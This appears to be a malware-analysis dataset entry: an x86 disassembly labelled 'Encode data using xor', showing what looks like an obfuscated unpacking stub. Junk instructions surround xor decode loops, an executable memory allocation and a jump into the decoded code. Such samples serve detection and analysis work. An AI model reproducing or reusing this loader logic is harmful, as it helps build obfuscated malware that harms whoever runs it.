Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6d4070fe
not edi
mov edi, eax
and eax, eax
popal
add eax, edi
mov eax, edi
sub eax, edi
mov ecx, 0
mov edx, eax
sub ebx, edi
add ebx, edi
mov esi, edx
or edi, ebx
dec edi
inc ebx
mov eax, esi
add edi, 0xa011246
sub ebx, 0xfbfc0e15
or ebx, ebx
inc ecx
not edi
mov ebx, 0xf45b0681
cmp ecx, 0x100a392
jne 0xa789c4
mov ebx, edi
sub ebx, edi
not edi
dec edi
mov ecx, 0xa78796
mov edx, ebx
add ebx, eax
mov esi, 0xa7898a
sub ebx, eax
sub ebx, edx
mov eax, 0x91b20079
mov edi, dword [ecx]
mov ebx, eax
sub edx, 0xe19f6880
and edi, 0xff
sub ebx, 1
mov eax, 0xd38aec2
sub ebx, 0x62c1739b
xor dword [esi], edi
mov ebx, edx
add eax, 0x6a41dd8d
not eax
inc esi
and eax, ebx
sub edx, 0xd72d9128
add ecx, 1
mov eax, 0x4965b642
sub ebx, edx
and edx, ebx
cmp esi, entry0
jl 0xa78a12
mov edx, 0x3393a069
add ebx, edx
or edx, eax
sub eax, edx
dec esi
and ebx, edi
mov edx, 0xa7898e
add ebx, 0x19ef526a
or edi, ebx
sub edi, ecx
mov edx, dword [edx]
sub esi, 0x92b5bfa9
not edi
mov edx, dword [edx]
mov ecx, 0x3086cab
mov edi, 0x658b788d
sub ebx, 1
push edx
not ecx
and ebx, esi
or ebx, ecx
mov edx, 0xa7898a
not ecx
sub ecx, ebx
sub ecx, ebx
mov edx, dword [edx]
or ecx, esi
or ebx, edi
mov edx, dword [edx]
add ebx, 0xbac792e3
mov edi, 0x23630f81
inc ebx
sub esp, 4
mov dword [esp], 0xa78992
add ebx, edi
inc esi
call edx
sub esi, 1
and ecx, ebx
mov edx, dword [esp]
add esp, 4
and edi, edi
or ecx, ecx
add edi, ecx
push 0xa7899f
not ebx
or ecx, ebx
push eax
sub ebx, 0xd1954ff
add ecx, esi
call edx
mov edi, ecx
and ebx, ebx
push 0x40
and esi, edi
add ecx, 1
push 0x3000
sub ecx, edi
mov edi, 0x5e0a2f33
sub esp, 4
mov dword [esp], 0x20000104
or edi, esi
mov ebx, ecx
push 0
sub esi, 1
not esi
call eax
inc esi
dec edi
add eax, 0x20000072
add esi, ebx
and edi, ecx
mov edx, 0x4815ebdc
sub ebx, ecx
add ebx, esi
mov dword [eax], edx
sub edi, 0xc1032324
add ecx, esi
sub esi, 0x7d109769
mov edx, dword [eax]
add ecx, 0xf01e451e
add ebx, esi
inc ecx
cmp edx, 0x4815ebdc
je 0xa78b72
mov ebx, 0
mov cl, byte [ebx]
or ebx, ebx
sub ebx, ecx
add edi, ecx
inc esi
or ecx, ebx
add edi, edi
add eax, 0x96fdd9b3
or eax, eax
mov ecx, section..reltc
add edi, 1
sub edi, 0xb6c796a9
mov ebx, 0xa78795
sub eax, 0x97e440a5
or edi, edi
mov eax, edi
mov edx, 0
add eax, 1
add eax, 0x7e375388
mov esi, 0xa78796
and edi, edi
mov eax, edi
inc eax
lea esi, [edx + esi]
add edi, 0x33d88b6a
add edi, 0xcea99fa8
mov esi, dword [esi]
dec eax
not edi
add edi, 1
and esi, 0xff
add edi, eax
mov edi, 0x32cecb4b
mov eax, 0x94a12b24
inc edx
mov edi, eax
sub edi, 0x2456d2ee
add eax, 0xaddab75b
cmp edx, 0x1f4
jne 0xa78c08
mov edx, 0
add edi, edi
mov eax, 0x97722d1d
sub eax, edi
sub edi, 0x13f90faa
dec edi
xor dword [ecx], esi
or edi, edi
add edi, edi
add ecx, 2
add eax, eax
inc edi
cmp ecx, ebx
jl 0xa78bb6
add edi, 0x38c4b6c
add edi, 0xa7ef39d7
mov eax, 0x9110c055
dec edi
add eax, 0xdc9a8e46
mov esi, section..reltc
mov edi, 0xb0aaa5f6
and edi, eax
mov ebx, section..reltc
sub edi, eax
mov edi, 0xed6fcb7b
mov ecx, 0xa78795
not eax
sub eax, 1
inc edi
mov edx, 0
sub eax, 1
not eax
mov dl, byte [ebx]
sub edi, 0x340d0a69
inc eax
mov eax, 0xd3742b47
mov byte [esi], dl
mov edi, eax
inc eax
inc esi
and edi, edi
add edi, 0xd48d9519
or eax, edi
add ebx, 2
or eax, edi
and edi, eax
not edi
cmp ebx, ecx
jle 0xa78c7a
sub edi, eax
sub eax, 0xfac9de2d
sub edi, 0xd7a2fe75
sub edi, eax
add edi, eax
push 0x8dc6a0
inc eax
sub eax, 0xc93cef6d
inc eax
ret